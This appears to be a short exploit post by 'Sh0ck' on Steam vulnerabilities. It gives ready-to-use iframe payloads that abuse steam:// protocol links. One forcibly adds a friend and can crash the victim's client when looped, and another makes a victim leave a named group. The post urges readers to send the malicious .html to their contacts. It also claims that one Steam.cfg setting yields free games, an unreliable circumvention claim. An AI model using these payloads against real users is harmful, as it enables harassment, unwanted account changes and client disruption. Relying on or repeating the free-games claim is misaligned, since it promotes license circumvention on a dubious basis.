+==================================+
| |
| Steam Multi Vulnerabilities |
| |
| |
| By Sh0ck (shock@k.st) |
| |
| |
+==================================+

[hide=10][code]
I, Iframe exploit (Seasurf) :


When you go on steam's friend profil, you have the choice :

- Add to your friends list.

Like this url : http://steamcommunity.com/id/shocknsl/

When you click on the link for add your friend, an request is executed :

steam://friends/add/76561197960383657

This request add your friend to your friends list.

Exploitation :

In a .html file, you can make an iframe with this request :

<iframe src="steam://friends/add/76561197960383657"></iframe>

In while.

When you send the link of your .html file to your contact, if he have steam open, it&#39;s the crash.


II, Second Iframe exploit (Seasurf) :


When you quit a group on steam, you have like request :

steam://groups/leave/nameofthegroup

Exploitation :

Like the friends iframe, <iframe src="steam://groups/leave/nameofthegroupofyourcontact"></iframe>

If he have a group named "Headshot" for example :

<iframe src="steam://groups/leave/Headshot"></iframe>

Send the malicious .html to your contact and he not lucky if he click on your link :/


III, Steam.cfg exploit :


- Quit your steam application completely.

In your steam repertory : C:\Program Files\Steam

Create a Steam.cfg with like text :

BootStrapperInhibitAll=enable

Now, save your file and launch steam, you have many games for free.



Greetz : Xylitol, Yacodo, HuGe, p3lo, ZeQ3uL, SpY-TecH, NoXo, KPCR, t0fx,